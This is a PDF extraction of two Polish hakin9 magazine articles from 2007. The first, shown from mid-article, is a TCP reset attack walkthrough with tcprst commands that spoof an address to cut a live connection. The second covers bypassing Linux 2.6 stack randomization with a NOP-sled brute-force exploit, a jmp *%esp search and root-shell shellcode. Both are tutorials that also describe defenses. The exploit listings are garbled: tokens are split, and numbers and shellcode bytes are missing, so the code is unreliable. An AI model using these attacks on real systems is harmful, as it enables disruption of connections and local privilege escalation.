nieważ rozmiar okna oznacza mak-
symalną  ilość  pakietów,  na  które
jedna ze stron nie musi odsyłać po-
twierdzenia,  wystarczy  wysłać  pa-
kiet  ze  zbliżoną  wartością  numeru
sekwencyjnego  (w  zależności  od
rozmiaru  okna).  System  musi  za-
akceptować  pakiet  z  numerem  se-
kwencyjnym  różniącym  się  w  gra-
nicy  rozmiaru  okna,  ponieważ  wie,
że dane mogą docierać w nieodpo-
wiedniej kolejności.

Na przykład, oczekiwanym nu-

merem  sekwencyjnym  jest  SEQ  i
rozmiar  okna  po  stronie  komputera
A  wynosi  16384  bajtów.  Teraz  wy-
starczy,  że  atakujący  komputer  C
wyśle  do  A  pakiet  z  numerem  se-
kwencyjnym  z  przedziału  od  SEQ
do  SEQ+16384-1  (przy  założeniu,
że  bufor  dla  okna  komputera  A  jest
pusty, to znaczy nie otrzymał jeszcze
danych), aby został zaakceptowany.

Oznacza to, że łączna ilość da-

nych,  które  musimy  wysłać  maleje
do  10MB,  ponieważ  ilość  pakietów
wynosi  teraz  262144.  W  przypad-
ku  większego  rozmiaru  okna,  ilość
wysłanych  danych  będzie  jeszcze
mniejsza.  Zależność  przedstawia
Tabela  3.  Warto  zauważyć,  że  po-
dane  wartości  odpowiadają  najgor-
szemu  scenariuszowi.  W  rzeczywi-
stości  ilość  potrzebnego  czasu  bę-
dzie średnio o połowę mniejsza. Po-
nadto,  jeśli  wykorzystywane  będzie
rozszerzenie protokołu TCP Window

Scaling, ilość potrzebnych pakietów
zmniejszy się jeszcze bardziej. Teo-
retycznie, w przypadku największe-
go możliwego rozmiaru okna będą to
tylko 4 pakiety.

Przykładowy atak

Do przeprowadzenia własnego ata-
ku wykorzystamy gotowy program

tcprst.c,  którego  główna  zaleta  to
fakt,  iż  nie  potrzebuje  on  żadnych
zewnętrznych bibliotek. Wykorzystu-
je  gniazda  typu  RAW  do  wysyłania
pakietów.  Do  poprawnego  działania
programu  wymagane  są  najwyższe
uprawnienia  oraz  odpowiedni  spo-
sób kompilacji:

# gcc -DNOSCRIPTKID -o tcprst tcprst.c

Nasze narzędzie jest gotowe do pra-
cy. Teraz musimy utworzyć przykła-
dowe połączenie, które następnie
przerwiemy. Do tego celu wykorzy-
stamy dwa komputery połączone w
sieci lokalnej z dostępem do Interne-
tu. Pierwszy o adresie 192.168.0.101
działa pod kontrolą Linuksa.

Rysunek 2.

Schemat ataku, w którym

komputer C przerywa połączenie

między komputerami A i B

Internet

RST

DST ADDR = A

SRC ADDR = B

Tabela 3.

Czas ataku w zależności od wielkości okna TCP przy użyciu łącza 1Mb/s

Rozmiar okna

Ilość danych [MB]

Potrzebny czas [s]

4096

320

8192

160

16384

32768

65535

2,5

hakin9 Nr 2/2007

www.hakin9.org

Atak

Wykorzystamy go do przeprowadze-
nia ataku. Drugi komputer o adresie
192.168.0.1 działa pod kontrolą sys-
temu Windows XP. Za jego pomocą
nawiążemy długotrwałe połączenie
z usługą HTTP na porcie 80:

C:\>netstat -n |find ":80"
TCP 192.168.0.1:1573
64.223.167.99:80
USTANOWIONO

Gdy  znamy  już  parametry  połącze-
nia, czyli adresy i porty, musimy zde-
cydować,  którą  stronę  wykorzystać
do  przerwania  komunikacji.  Zależy
nam na czasie potrzebnym do prze-
prowadzenia ataku, który będzie się
różnił w zależności od adresu wybra-
nego komputera. Czas ataku zależy
od  przepustowości  łącza  między
nami  (atakującym),  a  atakowanym
komputerem  oraz  rozmiaru  okna
(czyli  także  od  systemu  operacyj-
nego)  użytym  przez  komputer,  do
którego  będziemy  wysyłać  pakiety.
My wykorzystamy komputer z naszej
sieci  lokalnej,  ponieważ  szybkość
połączenia  będzie  wielokrotnie
większa niż w przypadku komputera

64.223.167.99

oraz dlatego, że działa

pod kontrolą systemu z większym
rozmiarem okna (mniejsza liczba

pakietów do wysłania). Do identyfi-
kacji systemu operacyjnego (w celu
poznania początkowego rozmiaru
okna) możemy użyć skanera portów

nmap z opcją

-O

Kiedy już wybraliśmy adres kom-

putera, pozostaje nam uruchomienie

tcprst. Program wymaga czterech pa-
rametrów: adresu komputera pod któ-
ry się podszywamy (czyli adres źró-
dłowy, opcja

-S

), portu źródłowego z

którego korzysta ten komputer (para-
metr

-s 80

) oraz adresu i portu na któ-

ry zostaną wysłane pakiety RST. Ist-
nieje jeszcze możliwość określenia
rozmiaru okna przy pomocy dodatko-
wej, piątej opcji

-w

(domyślny rozmiar

to 16384). Ponieważ atakowany kom-
puter działa pod kontrolą Windows
XP, zgodnie z Tabelą 1 zdefiniujemy
rozmiar na 64000 bajtów:

# ./tcprst -S 64.223.167.99 -s 80 -D
192.168.0.1 -d 1573 -w 64000

Program informuje nas o postępach
wyświetlając  licznik  pakietów  oraz
wysłane  numery  sekwencyjne.  Po
zakończeniu  lub  jeszcze  w  trakcie
pracy  na  atakowanym  komputerze
powinien  wyświetlić  się  komunikat
podobny do tego pokazanego na Ry-
sunku 4. Dzięki dużej przepustowo-

ści sieci lokalnej, wszystkie pakiety
zostały wysłane w ciągu niecałych
trzech sekund.

Fakt, że przeprowadzony atak

zakończył się powodzeniem potwier-
dza także informacja pochodząca z
programu netstat na atakowanym
systemie:

C:\>netstat -n |find ":80"
TCP 192.168.0.1:1573
64.223.167.99:80
CZAS_OCZEKIWANIA

Zachęcam do zapoznania się z ko-
dem źródłowym naszego narzędzia.
Jest krótki i przejrzysty, co ułatwi
jego analizę i pozwoli zapoznać się
z atakiem od strony programowej.

Kto jest zagrożony

Ponieważ  jest  to  wada  protokołu
TCP,  czyli  kręgosłupa  Internetu,
zagrożeni  są  wszyscy  użytkownicy,
chociaż  nie  bezpośrednio.  Szcze-
gólnie narażone są długotrwałe po-
łączenia, jak na przykład sesje TCP
wykorzystywane przez protokół BGP
(Border Gateway Protocol). Jego za-
daniem  jest  wykonywanie  routingu
w sieciach pracujących z protokołem
TCP/IP.  Sesje  BGP  są  zdecydowa-
nie  dłuższe  i  bardziej  przewidywal-
ne,  niż  większość  połączeń  między
dwoma  urządzeniami  z  publicznymi
adresami IP.

Rysunek 4.

Komunikat potwierdzający, że atak przebiegł pomyślnie

W Sieci

• http://elceef.itsec.pl/tcprst.c – na-

rzędzie użyte do przeprowadzenia
przykładowego ataku,

• http://www.takedown.com/coverage/

tsu-post.html – analiza włamania do
komputera Tsutomu Shimomury,

• http://www.faqs.org/rfcs/rfc1948.html

– RFC-1948, obrona przed atakami
na numery sekwencyjne,

• http://www.faqs.org/rfcs/rfc2827.html

– RFC-2827, obrona przed atakami
DoS z wykorzystaniem podszywania
pod adresy IP (spoofing),

• h t t p : / / w w w . f a q s . o r g / r f c s/

rfc2385.html – RFC-2385, ochrona
sesji BGP przez sygnatury MD5,

• http://www.ietf.org/rfc/rfc793.txt

– RFC-793, specyfikacja protokołu
TCP.

Rysunek 3.

Program tcprst podczas pracy

Przecinanie kabla - atak TCP

Zakłócenie komunikacji między

routerami wykorzystującymi ten
protokół będzie miało wpływ na wy-
dajność komunikacji w sieci dla wielu
użytkowników.

Metody obrony

Nie możemy poprawić samego pro-
tokołu,  ale  wykorzystać  możliwości,
które  już  posiadamy  -  owszem.
Możemy  podjąć  próby  zmniejszenia
domyślnego rozmiaru okna TCP, jed-
nak nie jest to zalecane rozwiązanie.
Zmniejszymy  jedynie  ryzyko  ataku
kosztem  szybkości  połączeń.  Po-
nadto nie ma gwarancji, że wszystkie
używane  przez  nas  aplikacje  będą
respektowały wprowadzone zmiany.

Filtrowanie

To najbardziej skuteczna meto-
da obrony. Atak TCP Reset opie-
ra się na możliwości podszycia pod

adres  jednego  z  urządzeń.  Route-
ry  dostawców  internetowych  (ISP)
nie  powinny  przepuszczać  pakie-
tów,  których  adresy  źródłowe  nie
należą  do  puli  adresów  ich  sieci.
Oczywiście nie ograniczy to możli-
wości ataku z wewnątrz, ale jednak
jest  najlepszym  możliwym  rozwią-
zaniem. Ponadto ograniczy to ata-
ki innego typu, jak na przykład atak
odmowy  obsługi  (Denial  of  Servi-

ce)  polegający  na  wysyłaniu  wielu
pakietów  z  losowym  adresem  źró-
dłowym.  Wiele  przydatnych  wska-
zówek na ten temat zawiera doku-
ment RFC-2827.

Sygnatury MD5

dla połączeń BGP

Protokół  BGP  posiada  obsługę  cy-
frowego  podpisu  przy  wykorzysta-
niu  algorytmu  szyfrowania  MD5
(RFC-2385).  Włączenie  jej  spowo-
duje, że każdy pakiet będzie zawie-
rał  dodatkową  opcję  pod  nagłów-
kiem TCP. Opcja zawiera sumę kon-
trolną MD5 dla wybranych elemen-
tów nagłówka TCP oraz ustalonego
wcześniej  klucza  znanego  dla  obu
stron  połączenia.  Bez  znajomości
klucza  jest  praktycznie  niemożliwe
zbudowanie pakietu, który przerwie
takie połączenie. Większość komer-

cyjnych  rozwiązań  wspiera  obsłu-
gę  podpisu  MD5  w  pakietach  TCP
sesji  BGP.  W  przypadku  systemów
open source takich jak Linux, więk-
sze  bezpieczeństwo  będzie  nieste-
ty wymagało większego wysiłku po-
przez instalację dodatkowego opro-
gramowania.

Podsumowanie

Zagrożenie atakiem tego rodzaju na-
prawdę  istnieje.  Praktyczna  część
artykułu miała za zadanie pokazać,
że słabość protokołu może wykorzy-
stać każdy, kto dysponuje odpowied-
nią wiedzą i nadmiarem czasu. Wiele
osób jest zdania, że zagrożenie jest
niewielkie. Jednak w przyszłości mo-
że powstać robak internetowy z po-
wodzeniem  wykorzystujący  opisaną
metodę  do  zakłócania  komunikacji
w Internecie.

Robaki mają niewątpliwą możli-

wość  przeprowadzenia  rozproszo-
nego działania z wielu miejsc jedno-
cześnie, co uczyni atak jeszcze bar-
dziej skutecznym. Można wiele zro-
bić,  aby  zapobiec  temu  scenariu-
szowi.  Tworzenie  wydajnych  i  jed-
nocześnie  bezpiecznych  implemen-
tacji stosu TCP jest dobrym rozwią-
zaniem. l

O autorze

Zajmuje  się  bezpieczeństwem  sieci
i  systemów  komputerowych.  Czasami
bawi  się  w  programistę  tworząc  coś,
co ma być przydatne, ale różnie z tym
bywa.  Na  co  dzień  student  drugiego
roku informatyki.
Kontakt z autorem: elceef@itsec.pl

www.hakin9.org

hakin9 Nr 2/2007

Obrona

ersja  2.6  linuxowego  kernela  po-
siada  wbudowane  zabezpieczenie,
które  chroni  system  przed  exploita-

mi opartymi na przepełnieniu buforu: początek
stosu  każdego  procesu  jest  mieszany.  Ozna-
cza  to,  że  przy  każdorazowym  uruchomieniu
aplikacji, początkowy stos posiada losowy ad-
res  z  zakresu  8MB.  Dzięki  temu,  exploity  ba-
zujące  na  oczekiwaniu  znalezienia  ShellCo-
de'u zawsze pod tym samym adresem, nie są
efektywne. ShellCode, zazwyczaj obecny we-
wnątrz buforu lub wewnątrz zmiennej środowi-
skowej, będzie posiadał inną pozycję przy każ-
dym uruchomieniu aplikacji. W tym artykule ob-
jaśnię, jak łatwo można obejść to zabezpiecze-
nie  używając  dwóch  różnych  technik.  Pierw-
sza zakłada atack typu bruteforce w poszuki-
waniu adresu ShellCode'u, co owocuje uzyska-
niem dostępu root do shella w ciągu kilku prób.
Drugi sposób polega na przekierowaniu proce-
su wykonania aplikacji do konkretnego opcode-
'u (ang. Operation Code) i jest stosowany za-
zwyczaj w exploitach systemu Windows.

Podatna na atak aplikacja

Program podatny na atak, do którego będzie-
my stosować exploity to vuln1.c, przedstawiony

na Listingu 1. Jak widzimy, bufor 32 bajtów jest
zadeklarowany i są do niego kopiowane pew-
ne dane, bez sprawdzania ich wielkości. Kon-
sekwencją tego może być przepełnienie bu-
fora, co umożliwia nadpisanie stosu. Naszym
systemem testowym jest Fedora 4 z kernelem
2.6.14.4 vanilla.

Szukamy adresu

metodą bruteforce

Pierwszym problemem związanym z mechani-
zmem ochronnym w linuxowym kernelu 2.6 jest

Jak ominąć zabezpieczenie

mieszania stosu w kernelu

2.6?

Enrico Feresin

stopień trudności

W dzisiejszych czasach co kilka dni słyszy się o wykryciu błędów

w aplikacjach, przez co dochodzi do przepełniania buforu. Ta

sytuacja spowodowała konieczność opracowania nowych metod

ochrony, które mogą wspomóc zabezpieczenia i stabilność

systemu, niezależnie od występowania podatności na expoity w

zainstalowanym oprogramowaniu.

Z artykułu dowiesz się…

• Dowiesz się, jak ominąć zapezpieczenie mie-

szania stosu w linuxowym kernelu 2.6, by móc
zastosować exploit oparty na przepełnieniu sto-
su.

Powinieneś wiedzieć…

• Przydatna będzie znajomość języka C,
• Przydatna okaże się także wiedza na temat

technik exploitowania aplikacji w oparciu o bu-
for

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

zbyt  mała  wielkość,  jaką  dysponu-
jemy w przypadku losowania pierw-
szego  adresu  stosu.  Zakres  możli-
wych  adresów,  w  których  możemy
znaleźć  stos,  to  jedynie  8MB.  Tym

samym, jeśli umieścimy dużą liczbę
komend pustych (ang. NOPs) zaraz
przed ShellCodem, możemy zwięk-
szyć prawdopodobieństwo natrafie-
nia na adres do tego stopnia, że kil-

kukrotny atak metodą bruteforce po-
zwoli nam uzyskać dostęp do shella
jako root. Ta metoda daje się oczywi-
ście zastosować jedynie w przypad-
ku ataku lokalnego.

Przyjrzyjmy się kodowi aplika-

cji  bruteforce-exp.c  zamieszczone-
mu na Listingu 2a oraz 2b. Kod ten
zawiera  exploit,  który  wykorzystu-
je lukę w naszej aplikacji, by zmie-
nić  rekord  aktywujący  (ang.  acti-

vation  record)  funkcję,  powodując
zmianę sekwencji wykonywania po-
leceń  (ang.  execution  flow).  Para-
metr  przekazywany  do  naszej  po-
datnej  na  atak  aplikacji  ma  64  baj-
ty,  jest  on  kopiowany  na  32-bajto-
wy  bufor,  powodując  zmiany  w  są-
siadujących  jednostkach  pamięci.
ShellCode  jest  zaimplementowa-
ny  wewnątrz  zmiennej  środowisko-
wej i jest poprzedzony 128.000 ko-
mend NOP. Tym sposobem, komen-
dy NOP oraz ShellCode pokrywają
około  1/65  zakresu  przydzielonego
na  adres  stosu.  W  przypadku  pro-
blemów z wykonywaniem testu, su-
geruję  zmniejszenie  ilości  komend
NOP, pamiętając, by nie przesadzić.
Istotnie,  im  bardziej  zmniejszymy
ilość komend NOP, tym więcej prób
będzie  potrzebnych,  by  sukcesyw-
nie  przeprowadzić  operację  brute-
force. Wartość użyta do modyfikacji
rekordu  aktywującego  jest  obliczo-
na  w  taki  sposób,  by  maksymalnie
wydłużyć  czas,  który  zyskamy  wy-
konywując  komendy  NOP.  Musi-
my  wziąć  największy  możliwy  ad-
res  stosu  (0xc0000000)  i  odjąć  od
niego rozmiar elementów stojących
zaraz  za  początkiem  stosu  oraz
zmiennej  środowiskowej  zawiera-
jącej  ShellCode,  która  znajdzie  się
zaraz za nimi.

Na Rysunku 2. zakolorowa-

ny  obszar  reprezentuje  zakres  8
MB pamięci, w którym powinniśmy
znaleźć  początek  stosu.  Czerwo-
ny  kolor  reprezentuje  obszar  zaj-
mowany przez exploit, zaś żółty to
niezajęta sekcja. Jeśli adres górne-
go  stosu  elementu  stosu  jest  we-
wnątrz  żółtego  obszaru,  aplikacja
zakończy się z błędem Segmenta-

tion Fault, ponieważ sekwencja wy-
konywania poleceń zostanie prze-

Listing 1.

Vuln.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* Program podatny na przepełnienie buforu
*
*/

#include

<string.h>

main

(

int

argc

char

argv

[])

{

char

buffer

[

];

strcpy

(

buffer

argv

[

]);

}

libShellCode

Stworzenie ShellCode'u do użycia w exploicie może osobom nie znającym ję-
zyka  assembler  przysporzyć  wiele  trudności.  Ci,  którzy  nie  chcą  tracić  cza-
su,  a  zależy  im  na  szybkim  stworzeniu  exploita,  mogą  wykorzystać  libShell-
Code. LibShellCode to biblioteka Open Source, którą stworzyłem, pozwalają-
ca na tworzenie ShellCode'u „w locie“, przy określeniu odpowiednich parame-
trów. Zaimplementowane API pozwala na tworzenie różnych typów ShellCode-
'ów dla Linuxa i BSD. libShellCode może być użyty w dwojaki sposób: może
zostać wkomponowany do exploita jako biblioteka, lub może służyć do genera-
cji kodu, który następnie łatwo włączymy do exploita. W pierwszym przypad-
ku, API biblioteki jest dostępne wewnątrz kodu exploita, dzięki czemu nasza
aplikacja  staje  się  bardzo  elastyczna.  Rysunek  1.  pokazuje  front-end  aplika-
cji  LibShellCode,  którą  możemy  pobrać  z  adresu  http://www.orkspace.net/
software/libShellCode

Rysunek 1.

Jak skompilować podatny na atak program

hakin9 Nr 2/2007

www.hakin9.org

Obrona

kierowana do obszaru pamięci za-
wierającego  kod  niewykonywalny.
W  przypadku,  gdy  początek  sto-
su  jest  wewnątrz  czerwonej  sek-
cji,  sekwencja  wykonywania  po-
leceń  zostanie  przekierowana  na
komendy  NOP  i  zostanie  wykona-
ny ShellCode. Małe objaśnienie do
załączonego ShellCode'u: kod uży-
ty  do  wykonania  operacji  brutefor-
ce  wykonuje

fork()

używając pro-

cesu  potomnego  w  celu  przepro-
wadzenia próby exploitu na podat-
nej aplikacji, oraz procesu rodzica,
by  sprawdzić  rezultat.  Jeśli  explo-
it  zadziała,  proces  potomny  roz-
pocznie proces shella jako root, nie
mając  konsoli  jako  standardowego
wejścia.  To  spowoduje  natychmia-
stowe  zamknięcie  shella.  By  omi-
nąć  ten  problem,  ShellCode  musi

zamknąć standardowe wejście bę-
dące deskryptorem pliku (ang. Fi-

le descriptor), zmieniając jego war-
tość na 0, a następnie otworzyć na-
rzędzie /dev/tty, które posłuży nam
do do wczytywania wejścia z kon-
soli przed wykonaniem komendy
shellowej.

Przekierowanie

na jmp *%esp

Istnieje  technika  omijania  zabez-
pieczenia  oferowanego  przez  ker-
nel 2.6 w bardziej elegancki sposób,
niż przedstawiony powyżej, bez ko-
niecznej  znajomości  adresu  Shell-
Code.

Ta technika, oryginalnie opraco-

wana dla Windowsowych exploitów,
polega na nadpisaniu rekordu ak-
tywującego adresem instrukcji

jmp

*%esp

, która jest już obecna w pamię-

ci podatnego na atak programu. Nie
ma znaczenia, w którym segmencie
pamięci jest przechowywana instruk-
cja, i tak będzie ona posiadać atry-
buty wykonywania.

Czytelnicy mniej obeznani w ję-

zyku assembler niech wiedzą, że
ta instrukcja wykonuje skok do adre-
su zapisanego w rejestrze

%esp

(co

wskazuje na początek stosu). W cza-
sie przekierowania sekwencji wyko-
nywania  poleceń,  wartość  tego  re-
jestru  jest  znana  i  wskazuje  na  na-
stępny adres po pozycji rekordu ak-
tywującego  w  stosie.  To  wystarczy,
by umieścić ShellCode pod tym ad-
resem,  uruchamiając  proces  rooto-
wy shella.

Rysunek 3. pokazuje, jak musi

być zbudowany bufor, który przeka-
żemy do podatnego na atak progra-
mu, by exploit zadziałał poprawnie.
Pierwsza  część  (niebieska)  jest
używana jedynie po to, by wypełnić
bufor aż do rekordu aktywującego.
Czerwona  sekcja  nadpisuje  rekord
aktywujący  adresem  instrukcji

jmp

*esp

, zaś żółta symbolizuje Shell-

Code.  Po  przekazaniu  takiego  bu-
foru  do  podatnej  na  atak  aplikacji,
sytuacja  stosu  po  kopiowaniu  bę-
dzie taka, jak na Rysunku 4. Pierw-
sza z dwóch reprezentacji pokazu-
je  sytuację  stosu  na  końcu  funk-
cji

main()

, przed wykonaniem in-

strukcji

RET

. Zwróćmy uwagę, że re-

jestr

%esp

wskazuje na adres punk-

tu aktywującego. Wykonanie in-
strukcji

RET

powoduje, że element

na szczycie stosu jest kopiowany
do rejestru

%eip

(który zawiera ad-

res kolejnej instrukcji, którą nale-
ży wykonać). Następnie wskaźnik
na szczycie stosu (

%esp

) jest zwięk-

szany, jak pokazano na Rysunku 4.
Wykonanie instrukcji

jmp *%esp

po-

woduje wykonanie naszego Shell-
Code'u.

By utworzenie exploita powio-

dło  się,  niezbędny  jest  jeszcze  je-
den  element,  który  wymaga  osob-
nego omówienia. Musimy wiedzieć,
jak  sprawdzić,  czy  instrukcja

jmp

*%esp

istnieje w obszarze adresu

procesu, i – jeśli istnieje – jaki zaj-
muje adres. Miejmy na uwadze, że

Rysunek 2.

Reprezentacja amplitudy operacji losowania adresu stosu

Stack

Aktywny rekord

0xC0000000

8 MB

Niskie adresy pamięci

Rysunek 3.

Struktura bufora użytego w drugim exploicie

ShellCode

Rysunek 4.

Struktura stosu po operacji nadpisania

AR Schell Code

ESP

Przed wykonaniem instrukcji RET

Po wykonaniu instrukcji RET

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

instrukcja  ta  musi  posiadać  okre-
ślony adres, który nie będzie zmie-
niał  się  przy  kolejnych  wykona-
niach poleceń (tym samym, nie mo-
że ona być umieszczona wewnątrz
stosu lub w innej sekcji pamięci ze
zmienną adresową). Jedne z odpo-
wiednich  sekcji,  od  których  nale-
ży rozpocząć poszukiwania, to kod
wykonujący program lub dynamicz-
ne biblioteki. Jednak w kernelu 2.6,
najlepszym segmentem pamięci, w
którym  należy  poszukiwać  instruk-
cji, jest ten, który zawiera Linux-ga-

te.so. Jest to tzw. DSO (Dynamicz-
nie Udostępniany Obiekt, ang. Dy-

namically Shared Object), używany
do  przyspieszania  wywołań  syste-
mowych  (ang.  System  Calls).  Naj-
bardziej  interesującym  nas  aspek-
tem  tego  obiektu  jest  fakt,  że  jest
zmapowany  (zlokalizowany)  za-
wsze  na  tym  samym  adresie,  dla
każdego procesu. Tym samym, je-
śli istrukcja, której poszukujemy ist-
nieje,  będzie  na  tym  samym  adre-
sie  w  każdym  procesie  systemo-
wym.

Aplikacja find-jmp-esp.c, wi-

doczna na Listingu 3, poszukuje
instrukcji

jmp *%esp

wewnątrz seg-

mentu pamięci Linux-gate.so (który
jest zmapowany między adresem
0xffffe000, a adresem 0xfffff000).
Przeszukiwanie odbywa się w bar-
dzo prosty sposób. Ponieważ opco-

de  (np.  binarna  reprezentacja)  in-
strukcji  składa  się  z  dwóch  bajtów
0xff  0xe4,  bez  problemu  znajdzie-
my w pamięci obszar, w którym wy-
stępuje sekwencja tych dwóch baj-
tów.

Teraz, gdy mamy już wszyst-

kie niezbędne elementy, możemy
stworzyć exploit. Spójrzmy na pro-
gram exp2.c pokazany na Listingu
4a i 4b. Najpierw znajdujemy adres
instrukcji

jmp *%esp

wewnątrz sekcji

Linux-gate.so. Następnie, tworzony
jest  bufor,  jak  pokazaliśmy  wcze-
śniej.  Pierwsza  część  buforu  (nie-
bieska  na  Rysunku  3.)  ma  36  baj-
tów. Rozmiar ten może być różny w
zależności od użytego kompilatora,
dlatego może być inny w przypad-
ku Twoich testów. By poznać odpo-
wiednią  wartość,  należy  przeana-

Listing 2a.

Bruteforce-exp.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* Ten kod exploituje program podatny na atak – vuln.c
* na systemie Linux z kernelem 2.6 vanulla. Zabezpieczenie losujące adres

stosu

* jest łamane przez atak bruteforce.
*
*/

#include

<stdio.h>

#include

<string.h>

#include

<stdlib.h>

#include

<unistd.h>

define

VULN_PROG

"./vuln"

#define BUFF_LEN 64
#define ENV_LEN 128000
#define NOP 0x90
#define RET (0xc0000000 - strlen(VULN_PROG) - 4 - ENV_LEN)

char

shellcode

[]=

// close(0) open("/dev/tty")

2f"

80"

// setuid(0)

80"

// execve("/bin/sh")

0b"

62"

68"

;

main

()

{

char

buff

[

BUFF_LEN

];

char

env_var

[

ENV_LEN

];

char

env

[

]

{

env_var

NULL

}

;

int

pid

;

// Wypełnij zmienną środowiskową ShellCodem poprzedzonym komendami NOP

memset

(

env_var

NOP

ENV_LEN

);

memcpy

(

env_var

ENV_LEN

strlen

(

shellcode

)

shellcode

strlen

(

shellcode

));

env_var

[

ENV_LEN

]

;

// Wypełnij bufor adresem, w którym mamy nadzieję znaleźć komendy NOP

(

int

buff

;

for

(

;

BUFF_LEN

;

)

{

RET

;

++;

}

;

// Rozpoczynamy atak bruteforce

printf

(

"Starting Bruteforce:

);

;

// Pętla, trwająca póki proces potomny nie zwróci kodu wyjścia = 0

while

(

)

{

pid

fork

();

(

pid

)

{

// Proces rodzica

// Oczekuje na koniec procesu potomnego, by odczytać kod wyjścia

printf

(

"."

);

hakin9 Nr 2/2007

www.hakin9.org

Obrona

lizować kod assemblera dla funk-
cji

main()

Jak podnieść poziom

zabezpieczeń?

To  oczywiste,  że  zabezpieczenia
oferowane  przez  kernel  2.6  vanil-
la  nie  są  wystarczające,  by  sys-
tem  uznać  za  bezpieczny,  nieza-
leżnie  od  jakości  zainstalowanego
software'u. By zagwarantować wy-
soki poziom bezpieczeństwa syste-
mu, nawet przeciwko nowopowsta-
łym  exploitom  (ang.  0-day  explo-

its),  np.  kodom  wykorzystującym
luki  nie  znane  jeszcze  publicznie,
należy  zaimplementować  dodatko-
we  zabezpieczenia.  Wystarczy  je-
den  wpis  w  internetowej  wyszuki-
warce,  aby  dojść  do  wniosku,  że
takie  zabezpieczenia  już  istnieją,
i  mogą  zostać  podzielone  na  dwie
grupy.  Pierwszy  typ,  to  rozszerze-
nia do kompilatorów: w tym wypad-
ku  cały  software  w  systemie  musi
zostać  przekompilowany,  by  kry-
tyczne  zabezpieczenia  zostały  za-
implementowane  do  kodu  każdej
z aplikacji. Drugi typ zabezpiecze-
nia, to łatka (ang. patch) do kerne-
la i wymaga jedynie jego rekompila-
cji. Ten typ zabezpieczenia jest nie-
wątpliwie szybszy w implementacji
i pewniejszy.

Warto rozważyć dwa z tych

zabezpieczeń,  które  są  z  pewno-
ścią  najbardziej  efektywne.  Pierw-
sze z nich, to ExecShield, stworzo-
ne przez Red Hat i już obecne we
wszystkich  nowych  wersjach  dys-
trybucji  opartych  na  systemie  Red
Hat (Red Hat Enterprise Linux i Fe-
dora).  Drugie  z  narzędzi  nosi  na-
zwę  Grsecurity.  Obydwie  aplikacje
modyfikują  jądro  Linuxa,  dodając
zabezpieczenia.  Mimo,  że  narzę-
dzia  te  różnią  się,  wykorzystują  w
znacznej  mierze  podobne  techniki
ochrony  przed  exploitowaniem  po-
datnych programów:

• uniemożliwiają wykonywanie ko-

du  z  obszarów  pamięci,  w  któ-
rych  powinny  być  obecne  je-
dynie  dane  (stosy,  sterty  (ang.

heaps), BSSy oraz .data) na-
wet w systemach, które nie ofe-

rują  wsparcia  hardware'owego
do  wykonywania  operacji  bito-
wych.  Tym  sposobem,  niemoż-

liwe jest wykonanie kodu Shell-
Code w formie pokazanej w ar-
tykule, bowiem opierają się one

Listing 2b.

Bruteforce-exp.c

fflush

(

stdout

);

waitpid

(

pid

);

}

else

{

// Proces potomny

// Uruchamia program podatny na atak i próbuje zastosować exploit.

// Jeśli exploit działa przy zakańczaniu procesu, zwrócony zostaje

kod wyjścia = 0.

// W innym przypadku, kod ma inną wartość.

execle

(

VULN_PROG

buff

NULL

env

);

exit

(

);

}

Listing 3.

find-jmp-esp.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* To narzędzie poszukuje instrukcji jmp *%esp wewnątrz sekcji linux-gate.so
*
*/

#define START 0xffffe000
#define END 0xfffff000
#define B1 0xff
#define B2 0xe4

#include

<stdio.h>

main

()

{

char

;

printf

(

"Szukam instrukcji jmp *%esp w pamięci:

);

(

char

START

;

while

(

char

END

)

{

((

[

]

(

char

)

(

[

]

(

char

)

))

{

printf

(

"ADDRESS = %p

);

}

++;

}

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

na umieszczeniu kodu wewnątrz
stosu  i  przekierowaniu  sekwen-
cji wykonywania poleceń na ten
stos.  Ponieważ  zabezpiecze-
nie uniemożliwia wykonanie ko-
du znajdującego się w tych par-
tiach  pamięci,  jądro  zatrzymuje
proces, zwracając błąd,

• losowo generują adres począt-

kowy  dynamicznych  bibliotek.
Dzięki  temu,  nie  jest  możliwe
przekierowanie  sekwencji  wy-
konywania  do  funkcji  bibliotecz-
nych  (np.

system()

), ponieważ

podczas wykonywania podatnej
na atak aplikacji, ich adres się
zmienia,

• losowo generują adres począt-

kowy  wykonywalnego  kodu.  W
pewnych  przypadkach,  by  suk-
cesywnie  wykorzystać  lukę  w
programie  na  wykonanie  explo-
ita, możliwe jest przekierowanie
sekwencji wykonywania poleceń

Listing 4a.

Exp2.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* Ten kod exploituje podatność na atak przez przepełnienie buforu pliku

vuln.c na systemie

* Linux z kernelem 2.6 vanilla. Zabezpieczenie losowania adresu stosu jest

złamane dzięki

* przekierowaniu wykonań do instrukcji jmp *%esp.
*
*/

#include

<stdio.h>

#include

<string.h>

#include

<unistd.h>

define

VULN_PROG

"./vuln"

#define BUFF_LEN 256
#define BUFF_OVER 36
#define START 0xffffe000
#define END 0xfffff000
#define B1 0xff
#define B2 0xe4

char

shellcode

[]=

// setuid(0)

80"

// execve("/bin/sh")

0b"

62"

68"

;

char

find_jmp_esp

()

{

char

;

printf

(

"Szukam instrukcji jmp *%esp wewnątrz pamięci... "

);

(

char

START

;

while

(

char

END

)

{

((

[

]

(

char

)

(

[

]

(

char

)

))

{

printf

(

"found at address %p

\n\n

);

return

;

}

++;

}

printf

(

"Instrukcji nie znaleziono, exploit nie może zostać zastosowany!

n\n

);

return

(

char

;

}

main

()

{

char

buff

[

BUFF_LEN

];

int

ret

;

// Znajdujemy adres instrukcji jmp *%esp

ret

(

int

)

find_jmp_esp

();

(

ret

)

return

;

// Wypełnij pierwszą część buforu

memset

(

buff

, 'a',

BUFF_OVER

);

